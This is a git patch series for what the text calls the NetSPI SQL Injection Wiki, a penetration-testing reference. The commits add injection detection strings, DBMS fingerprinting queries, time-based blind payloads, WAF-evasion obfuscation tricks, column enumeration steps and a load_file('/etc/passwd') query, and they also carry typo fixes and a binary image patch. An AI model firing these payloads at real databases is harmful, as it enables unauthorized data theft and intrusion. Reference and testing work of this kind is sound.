From 77ead77c1e2289470110e03984c41e50d7a9d985 Mon Sep 17 00:00:00 2001
From: Sachin Wagh <86011901+tigertigerboy07@users.noreply.github.com>
Date: Tue, 15 Nov 2022 20:32:41 +0530
Subject: [PATCH 01/14] Update detection.html (#17)
Updated Arithmetic section
---
detection.html | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/detection.html b/detection.html
index 5013907..7feeff2 100644
--- a/detection.html
+++ b/detection.html
@@ -93,7 +93,8 @@
Detecting Injections
Arithmetic |
- product.asp?id=1/1 -- true product.asp?id=1/0 -- false |
+ product.asp?id=1/1 -- true product.asp?id=1/0 -- false
+ product.asp?id=1/abs(1) -- true product.asp?id=1/abf(1) -- false |
Blind based Note: Detecting blind injection may require identification or guess-and-check of the DBMS to find the proper timing function. |
From 2be161408901b0d2c5c52b88f8b7caabfb365086 Mon Sep 17 00:00:00 2001
From: Sachin Wagh <86011901+tigertigerboy07@users.noreply.github.com>
Date: Tue, 15 Nov 2022 20:33:09 +0530
Subject: [PATCH 02/14] Update sqlserver.html (#18)
* Update sqlserver.html
Added String concatenation section for SQL Server
* Update sqlserver.html
Added SQL Server functions
---
dbmsIdentification/sqlserver.html | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/dbmsIdentification/sqlserver.html b/dbmsIdentification/sqlserver.html
index ff0fa93..5bb7655 100644
--- a/dbmsIdentification/sqlserver.html
+++ b/dbmsIdentification/sqlserver.html
@@ -18,6 +18,16 @@ DBMS Identification
Default variable |
page.asp?id=sql'; SELECT @@SERVERNAME -- |
+
+ String concatenation |
+ page.php?id='mssql'+'mssql' -- |
+
+
+ Functions |
+ @@rowcount --
+ SQUARE(1) --
+ @@pack_received -- |
+
Error messages Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name. |
page.asp?id=' |
From 00c2c8d9778a00194cc3562ea802041a19cc55af Mon Sep 17 00:00:00 2001
From: Sachin Wagh <86011901+tigertigerboy07@users.noreply.github.com>
Date: Tue, 15 Nov 2022 20:33:27 +0530
Subject: [PATCH 03/14] Update mysql.html (#19)
Added MySQL functions
---
dbmsIdentification/mysql.html | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/dbmsIdentification/mysql.html b/dbmsIdentification/mysql.html
index 11a03a4..703c2a5 100644
--- a/dbmsIdentification/mysql.html
+++ b/dbmsIdentification/mysql.html
@@ -21,6 +21,12 @@ DBMS Identification
String concatenation |
page.php?id=' 'mysql' -- |
+
+ Functions |
+ connection_id() --
+ row_count() --
+ POW(1,1) -- |
+
Error messages Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name. |
page.php?id=' |
From 9d1c1ea713e7860b631fc2eeb927c62d2c12112c Mon Sep 17 00:00:00 2001
From: Sachin Wagh <86011901+tigertigerboy07@users.noreply.github.com>
Date: Tue, 15 Nov 2022 20:33:47 +0530
Subject: [PATCH 04/14] Update oracle.html (#20)
Added Oracle functions
---
dbmsIdentification/oracle.html | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/dbmsIdentification/oracle.html b/dbmsIdentification/oracle.html
index 9c91778..b67d2c9 100644
--- a/dbmsIdentification/oracle.html
+++ b/dbmsIdentification/oracle.html
@@ -13,6 +13,10 @@ DBMS Identification
String concatenation |
page.jsp?id='||'oracle' -- |
+
+
+ Functions |
+ BITAND(1,1) -- |
Default table |
From aedab7ce869b91224f68a6048f394db8b71c2833 Mon Sep 17 00:00:00 2001
From: Jacob Reynolds
Date: Tue, 15 Nov 2022 09:04:25 -0600
Subject: [PATCH 05/14] Update mysql (#16)
* Added traversing directories
* Update mysql
Co-authored-by: vu1n
---
attackQueries/executingOSCommands/mysql.html | 3 +++
.../conditionalStatements/mysql.html | 10 +++++++++-
injectionTechniques/obfuscation/mysql.html | 14 +++++++++++++-
3 files changed, 25 insertions(+), 2 deletions(-)
diff --git a/attackQueries/executingOSCommands/mysql.html b/attackQueries/executingOSCommands/mysql.html
index b5cd81f..a483190 100644
--- a/attackQueries/executingOSCommands/mysql.html
+++ b/attackQueries/executingOSCommands/mysql.html
@@ -18,6 +18,9 @@ Executing OS Commands Through MySQL
Command Execution with MySQL CLI Access |
https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
+
+ Traversing directories (Linux) |
+ SELECT load_file("/etc/passwd") from information_schema |
diff --git a/injectionTechniques/conditionalStatements/mysql.html b/injectionTechniques/conditionalStatements/mysql.html
index 7d79baa..2c5e5e6 100644
--- a/injectionTechniques/conditionalStatements/mysql.html
+++ b/injectionTechniques/conditionalStatements/mysql.html
@@ -14,9 +14,17 @@ Conditionals
If/Else |
SELECT IF(1=2,'true','false') |
+
+ If/Else (json) |
+ {"id"="xxx AND IF(length(database())=’1’, SLEEP(15),1)#”} If the database name's length is 1, database gets unresponsive with given miliseconds |
+
Logical OR |
SELECT 1 || 0 To see nuances of this operator go here |
+
+ AND (json) |
+ {"id"="xxx AND 1=1#"} True statement {"id"="xxx AND 1=2#"} False statement |
+
-
\ No newline at end of file
+
diff --git a/injectionTechniques/obfuscation/mysql.html b/injectionTechniques/obfuscation/mysql.html
index 0dcf1e0..3406d66 100644
--- a/injectionTechniques/obfuscation/mysql.html
+++ b/injectionTechniques/obfuscation/mysql.html
@@ -26,6 +26,10 @@ Obfuscating Queries
Hex > Int |
SELECT 0x20 + 0x40 |
+
+ Unhex/hex |
+ unhex(hex(user())) |
+
Bitwise AND |
SELECT 6 & 2 |
@@ -72,7 +76,11 @@ Obfuscating Queries
Single line comment |
- SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line |
+ SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line SELECT 1 --+ - Comments out rest of the line SELECT 1 --+- - Comments out rest of the line SELECT 1 -- - - Comments out rest of the line SELECT 1 %00 - Comments out rest of the line |
+
+
+ In-line comment |
+ SEL/*_*/ECT * FR/*_*/OM |
No Spaces |
@@ -94,6 +102,10 @@ Obfuscating Queries
Invalid Percent Encode |
%SEL%ECT * F%R%OM U%S%ERS |
+
+ character obfuscation |
+ SeLeCt * FrOm |
+
From d149c8adadc73c194ce5e27160959165dca36aa6 Mon Sep 17 00:00:00 2001
From: Matthias Altmann
Date: Tue, 15 Nov 2022 16:05:42 +0100
Subject: [PATCH 06/14] Error based enum (#15)
* typo fixed
* Align Uppercase to rest of descriptions in table
* add error based enum with order by mysql
* add how to find amount of columns using union select and added reference in union based description how to get to the amount of columns
Co-authored-by: Jacob Reynolds
---
_data/injectionDescriptions.yml | 2 +-
injectionTypes/errorBased/mysql.html | 18 ++++++++++++++++++
2 files changed, 19 insertions(+), 1 deletion(-)
diff --git a/_data/injectionDescriptions.yml b/_data/injectionDescriptions.yml
index c0a8ee5..55b31e7 100644
--- a/_data/injectionDescriptions.yml
+++ b/_data/injectionDescriptions.yml
@@ -1,7 +1,7 @@
injectionDetection: Injections can be detected in a number of ways. The simplest being adding a '
or "
after various parameters and getting a database error returned from the web server. The sections below describe where to find and how to detect these parameters.
dbmsIdentification: Detecting what Database Management System (DBMS) is being used is critical in being able to further exploit an injection. Without that knowledge it would not be possible to determine what tables to query, what functions are built-in, and what detections to avoid. A successful response from the below queries identify that the selected DBMS is being used.
errorBased: Error based injections are exploited through triggering errors in the database when invalid inputs are passed to it. The error messages can be used to return the full query results, or gain information on how to restructure the query for further exploitation.
-unionBased: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns).
+unionBased: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). You can try to enumerate the amount of columns using error based enumeration (see error based injection).
blindBased: Blind SQL injection is one of the more advanced methods of injection. The Partial-Blind and Full-Blind methods are detailed below. Use care when performing these queries, as they can overload a server if performed through heavy automation.
conditionalStatements: Conditional statements are beneficial for creating complex queries and aiding in Blind Injection.
injectionPlacement: SQL injection is always a hassle when it isn't apparent where the injection is taking place. It is helpful to have a few ways to exploit injections in various parts of the query.
diff --git a/injectionTypes/errorBased/mysql.html b/injectionTypes/errorBased/mysql.html
index 15b7f7d..53debef 100644
--- a/injectionTypes/errorBased/mysql.html
+++ b/injectionTypes/errorBased/mysql.html
@@ -11,6 +11,24 @@ Error Based
+
+ Amount of columns using ORDER BY |
+ ORDER BY 1
+
+ Add this at the end of your query
+ If you get no error you know ordering is working
+ Increment the number from 1 until you get an error. Then you know the amount of columns for this table
+ |
+
+
+ Amount of columns using UNION SELECT |
+ UNION SELECT 1,2
+
+ Add this at the end of your query
+ Add increment until you see a valid response, e.g. UNION SELECT 1,2,3
+ If you get no error you know union select is working. You can try to find the values on the page to see where the output goes.
+ |
+
XML Parse Error |
SELECT extractvalue(rand(),concat(0x3a,(select version()))) |
From 5f849aa616f27a7054a9a24492f34a1e41fab0cb Mon Sep 17 00:00:00 2001
From: Anurag Kumar
Date: Tue, 15 Nov 2022 20:37:36 +0530
Subject: [PATCH 07/14] Update mysql.html (#14)
* Update mysql.html
Query changed
* Update sqlserver.html
---
injectionTechniques/conditionalStatements/sqlserver.html | 2 +-
injectionTypes/blindBased/mysql.html | 4 ++--
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/injectionTechniques/conditionalStatements/sqlserver.html b/injectionTechniques/conditionalStatements/sqlserver.html
index 5c978c5..95481ed 100644
--- a/injectionTechniques/conditionalStatements/sqlserver.html
+++ b/injectionTechniques/conditionalStatements/sqlserver.html
@@ -12,7 +12,7 @@ Conditionals
Case |
- SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END |
+ SELECT * FROM CASE WHEN 1=1 THEN 1 ELSE 0 END |
If/Else |
diff --git a/injectionTypes/blindBased/mysql.html b/injectionTypes/blindBased/mysql.html
index 874da01..3bd5d9c 100644
--- a/injectionTypes/blindBased/mysql.html
+++ b/injectionTypes/blindBased/mysql.html
@@ -64,11 +64,11 @@ Full-Blind
User is root (Benchmark method) |
- SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
+ SELECT * from (user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
Version is 5.x.x |
- SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null) |
+ SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null) |
From 64b1aeaef6aaa4e7ff4e44de67c3b6d7164e4b58 Mon Sep 17 00:00:00 2001
From: Matthias Altmann
Date: Tue, 15 Nov 2022 16:09:30 +0100
Subject: [PATCH 08/14] Spell check data targeting - aligning uppercase to rest
of table (#13)
* typo fixed
* Align Uppercase to rest of descriptions in table
* proposal for punctuation
* no proper noun - aligning to rest of page
* aligning uppercase to rest of table
Co-authored-by: Jacob Reynolds
---
_data/injectionDescriptions.yml | 4 ++--
attackQueries/dataTargeting/oracle.html | 2 +-
attackQueries/executingOSCommands/index.html | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/_data/injectionDescriptions.yml b/_data/injectionDescriptions.yml
index 55b31e7..cdf039b 100644
--- a/_data/injectionDescriptions.yml
+++ b/_data/injectionDescriptions.yml
@@ -6,9 +6,9 @@ blindBased: Blind SQL injection is one of the more advanced methods of injection
conditionalStatements: Conditional statements are beneficial for creating complex queries and aiding in Blind Injection.
injectionPlacement: SQL injection is always a hassle when it isn't apparent where the injection is taking place. It is helpful to have a few ways to exploit injections in various parts of the query.
injectionObfuscation: Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections.
-dataExfiltration: Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various Layer 4 requests, and hidden techniques.
+dataExfiltration: Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various layer 4 requests, and hidden techniques.
dataTargeting: Being able to properly target and identify sensitive information can exponentially decrease time spent in a database. This means less time spent poking around and more time spent researching other vectors.
-executingOSCommands: Running OS commands is one of the primary objectives of SQL injection, this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database.
+executingOSCommands: Running OS commands is one of the primary objectives of SQL injection - this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database.
informationGathering: It is often valuable to gather information about any testing environment; version numbers, user accounts, and databases all help in escalating vulnerabilities. Below are common methods for this.
lateralMovement: Lateral movement allows a tester to gain access to different sets of functionality/data that don't explicitly require a more privileged user. Switching user accounts laterally will expose different information and could aid in compromising a more privileged user.
privilegeEscalation: Certain functionalities require a privileged user and for escalating a vulnerability a privileged user is always the first step.
diff --git a/attackQueries/dataTargeting/oracle.html b/attackQueries/dataTargeting/oracle.html
index e8079c8..05a5b25 100644
--- a/attackQueries/dataTargeting/oracle.html
+++ b/attackQueries/dataTargeting/oracle.html
@@ -21,7 +21,7 @@ Data Targeting queries
SELECT * FROM session_privs SELECT * FROM USER_SYS_PRIVS SELECT * FROM USER_TAB_PRIVS SELECT * FROM USER_TAB_PRIVS_MADE SELECT * FROM USER_TAB_PRIVS_RECD SELECT * FROM ALL_TAB_PRIVS SELECT * FROM USER_ROLE_PRIVS
|
- Extracting stored procedure/Java sources |
+ Extracting Stored Procedure/Java Sources |
SELECT * FROM all_source WHERE owner NOT IN ('SYS','SYSTEM') SELECT * FROM all_source WHERE TYPE LIKE '%JAVA %' SELECT TO_CHAR(DBMS_METADATA.get_ddl('TABLE','DEPT','CONSUELA')) FROM dual |
diff --git a/attackQueries/executingOSCommands/index.html b/attackQueries/executingOSCommands/index.html
index 3e884f9..9a677c9 100644
--- a/attackQueries/executingOSCommands/index.html
+++ b/attackQueries/executingOSCommands/index.html
@@ -1,6 +1,6 @@
---
layout: tab
-description: Running OS commands is one of the primary objectives of SQL injection, this aids in getting full control of the host OS.
+description: Running OS commands is one of the primary objectives of SQL injection - this aids in getting full control of the host OS.
keywords: os command, operating system command, command injection
title: OS Commands | NetSPI SQL Injection Wiki
tabs:
From 7d16be9d482eaac496f6d9ed2f405bc0e1a1c02c Mon Sep 17 00:00:00 2001
From: Jacob Reynolds
Date: Tue, 15 Nov 2022 09:10:58 -0600
Subject: [PATCH 09/14] Updating contributors
---
misc/contributors.html | 3 +++
1 file changed, 3 insertions(+)
diff --git a/misc/contributors.html b/misc/contributors.html
index d8e390b..91de41b 100644
--- a/misc/contributors.html
+++ b/misc/contributors.html
@@ -16,4 +16,7 @@ Special thanks to our contributors:
Khai Tran (@k_tr4n)
Rafael Seferyan
Scott Sutherland (@_nullbind)
+ Sachin Wagh (@tigertigerboy07)
+ Anurag Kumar (@anukaal)
+ Matthias Altmann (@secf00tprint)
From 59031e23a4398441696b6feb546a9f543a285710 Mon Sep 17 00:00:00 2001
From: Jacob Reynolds
Date: Tue, 13 Jun 2023 11:21:29 -0500
Subject: [PATCH 10/14] Update sqlserver.html
---
misc/sandboxes/sqlserver.html | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/misc/sandboxes/sqlserver.html b/misc/sandboxes/sqlserver.html
index 4dd579d..1cbbf8b 100644
--- a/misc/sandboxes/sqlserver.html
+++ b/misc/sandboxes/sqlserver.html
@@ -3,5 +3,4 @@ Sandboxes
Some useful online sandboxes for testing queries can be found below:
http://sqlfiddle.com/
https://turbo.net/sql
- https://sqlzoo.net/
- http://www.headfirstlabs.com/sql_hands_on/
+ https://sqlzoo.net/
From 9fdb4f6022f9ec65e0130fb21018f66ea464e539 Mon Sep 17 00:00:00 2001
From: Scott Sutherland
Date: Wed, 8 May 2024 14:32:46 -0500
Subject: [PATCH 11/14] Update logo.
Update logo.
---
assets/images/facebookCard.jpg | Bin 74880 -> 82257 bytes
assets/images/twitterCard.jpg | Bin 25289 -> 29422 bytes
2 files changed, 0 insertions(+), 0 deletions(-)
diff --git a/assets/images/facebookCard.jpg b/assets/images/facebookCard.jpg
index 35fd7670e9a58086e92a248576eff9a6d384d005..0c8b0dcb4bdd6f51f60d926f3337413b7a5e6931 100644
GIT binary patch
literal 82257
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
